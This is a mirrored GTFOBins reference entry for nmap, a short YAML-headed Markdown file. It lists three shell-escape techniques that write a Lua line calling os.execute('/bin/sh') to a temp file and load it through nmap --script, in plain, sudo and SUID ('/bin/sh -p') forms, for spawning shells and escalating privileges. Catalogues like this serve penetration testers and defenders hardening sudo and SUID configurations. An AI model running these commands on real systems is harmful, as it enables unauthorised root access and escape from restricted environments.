mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-27 22:10:48 +01:00
22 lines
576 B
Markdown
22 lines
576 B
Markdown
---
|
|
functions:
|
|
execute-interactive:
|
|
- description: Echoing of input characters is disabled.
|
|
code: |
|
|
TF=$(mktemp)
|
|
echo 'os.execute("/bin/sh")' > $TF
|
|
nmap --script=$TF
|
|
sudo-enabled:
|
|
- description: Echoing of input characters is disabled.
|
|
code: |
|
|
TF=$(mktemp)
|
|
echo 'os.execute("/bin/sh")' > $TF
|
|
sudo nmap --script=$TF
|
|
suid-enabled:
|
|
- description: Echoing of input characters is disabled.
|
|
code: |
|
|
TF=$(mktemp)
|
|
echo 'os.execute("/bin/sh -p")' > $TF
|
|
./nmap --script=$TF
|
|
---
|